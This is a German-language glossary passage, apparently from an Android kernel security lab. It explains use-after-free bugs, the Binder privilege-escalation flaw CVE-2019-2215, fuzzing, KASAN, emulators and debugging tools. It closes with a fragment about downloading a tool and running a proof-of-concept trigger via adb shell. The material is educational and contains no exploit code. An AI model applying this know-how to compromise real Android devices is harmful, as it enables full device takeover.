privilegiert : Alle Maschinenbefehle sind zugänglich.

unprivilegiert : nur eine Teilmenge der Befehle ist zugänglich.


### UAF-Sicherheitslücke

Use-After-Free-Sicherheitslücken sind eine Art von [Speicher](https://www.webopedia.com/TERM/M/memory.html) -[korruptions](https://www.webopedia.com/TERM/C/corrupted.html) Fehler, der von [Hackern](https://www.webopedia.com/TERM/H/hacker.html) ausgenutzt werden kann, um beliebigen Code auszuführen.

Use-After-Free bezieht sich speziell auf den Versuch, auf Speicher zuzugreifen, nachdem dieser freigegeben wurde, was dazu führen kann, dass ein Programm <span style="text-decoration:underline;">abstürzt</span> oder – im Falle eines Use-After-Free-Fehlers – möglicherweise zur <span style="text-decoration:underline;">Ausführung beliebigen Codes</span> oder sogar zu vollständigen [Remote](https://www.webopedia.com/TERM/R/remote_access.html) -Codeausführungsfähigkeiten führen kann.


### CVE-2019-2215

Ist ein Use-After-Free im Binder im Android-Kernel. Der Fehler ist eine lokale Privilegienausweitungssicherheitslücke, die eine vollständige Kompromittierung eines anfälligen Geräts ermöglicht. In Verbindung mit einem Browser-Renderer-Exploit könnte dieser Fehler ein Gerät über eine bösartige Website vollständig kompromittieren. Er ist aus der Chrome-Sandbox heraus erreichbar.

Hinweis : Funktioniert auf Pixel 1 und 2, aber nicht auf Pixel 3 und 3a. Siehe diesen [Angriff](https://blog.trendmicro.com/trendlabs-security-intelligence/first-active-attack-exploiting-cve-2019-2215-found-on-google-play-linked-to-sidewinder-apt-group/).


### Android Security Bulletins

Android Security Bulletins ist eine Liste, die monatlich von Google veröffentlicht wird. Diese Liste enthält behobene Sicherheitslücken, die das Android-Framework, den Linux-Kernel usw. betreffen.


### Syzkaller

Syzkaller ist ein Kernel-Fuzzer. Fuzzing ist eine Testtechnik, bei der ein automatisiertes Programm semi-zufällige Eingaben für ein Zielprogramm erzeugt, um zu prüfen, ob ein Fehler ausgelöst wird. Fuzzing ist besonders nützlich, um Speicherkorruptionsfehler in C- oder C++-Programmen zu finden.


### Project Zero

Project Zero ist ein Team von Sicherheitsanalysten, das von Google beschäftigt wird und damit beauftragt ist, Zero-Day-Sicherheitslücken zu finden. Eine Zero-Day-Sicherheitslücke ist eine Sicherheitslücke, die denjenigen, die sie beheben sollten, unbekannt ist.


### GDB 

GDB steht für GNU Project Debugger, den beliebtesten Debugger für UNIX-Systeme zum Debuggen von C- und C++-Programmen. GDB ermöglicht es Ihnen, das Programm bis zu einem bestimmten Punkt auszuführen, dann anzuhalten und die Werte bestimmter Variablen an diesem Punkt auszugeben, oder das Programm Schritt für Schritt zu durchlaufen und die Werte jeder Variablen nach der Ausführung jeder Zeile auszugeben.

Sie können Ihren Android-Emulator mit einem gdbserver zum Debuggen verbinden.


### Der Kernel Address Sanitizer

Der Kernel Address SANitizer (KASAN) ist ein dynamischer Speicherfehlerdetektor, der Out-of-Bound- und Use-After-Free-Fehler finden soll. KASAN verwendet Compile-Zeit-Instrumentierung, um vor jedem Speicherzugriff Gültigkeitsprüfungen einzufügen, und erfordert daher eine Compiler-Version, die dies unterstützt. Kernel-Speicherzugriffe können gegen die Shadow-Map geprüft werden, um zu sehen, ob sie gültig sind.


### QEMU 

QEMU (Quick Emulator) ist ein freier und quelloffener Emulator, der Hardwarevirtualisierung durchführt. Der Android-Emulator ist ein Abkömmling des QEMU-Emulators; er unterstützt das Booten von Android-Geräten, emuliert typische Android-Hardware (OpenGL, GPS, GSM, Sensoren) und eine GUI-Oberfläche. Der Android-Emulator erweitert QEMU auf verschiedene Weise.


### Statische Analyse

Bei der statischen Analyse verwenden wir den Quellcode eines Programms, um einen Fehler oder ein Problem zu finden. Wir führen das Programm nicht aus.


### Dynamische Analyse

Bei der dynamischen Analyse analysieren wir das Verhalten eines Programms während seiner Ausführung. Zum Beispiel durch die Bereitstellung spezieller Eingaben.


### Android NDK

Android NDK ist ein Toolset, mit dem Sie nativen Code wie C und C++ auf einem Android-Gerät ausführen können.


### Android Goldfish

Der Android Goldfish-Kernel wird verwendet, um Kernel-Code in einem Android-Emulator auszuführen. Er kann geklont und geändert und dann erstellt werden, um in einem Emulator verwendet zu werden.


### Android Debug Bridge

ADB ist ein Befehlszeilen-Tool. Es hilft bei der Kommunikation mit einem laufenden Android-Gerät und ermöglicht es, eine Shell darauf zu erhalten. Es kann zu Debugging-Zwecken verwendet werden. 


# Referenzen

[https://googleprojectzero.blogspot.com/2019/11/bad-binder-android-in-wild-exploit.html](https://googleprojectzero.blogspot.com/2019/11/bad-binder-android-in-wild-exploit.html)

[https://nvd.nist.gov/vuln/detail/CVE-2019-2215](https://nvd.nist.gov/vuln/detail/CVE-2019-2215)

[https://www.tutorialspoint.com/gnu_debugger](https://www.tutorialspoint.com/gnu_debugger/what_is_gdb.htm)

[https://www.kernel.org/doc/html/latest/dev-tools/kasan.html](https://www.kernel.org/doc/html/latest/dev-tools/kasan.html)

[https://android.googlesource.com/kernel/goldfish/](https://android.googlesource.com/kernel/goldfish/) 

[https://man7.org/linux/man-pages/man7/epoll.7.html](https://man7.org/linux/man-pages/man7/epoll.7.html) 

https://www.scaler.com/topics/c/debugging-c-program/

...
Tool herunterladen
  • Starte adb shell und führe den PoC-Trigger aus.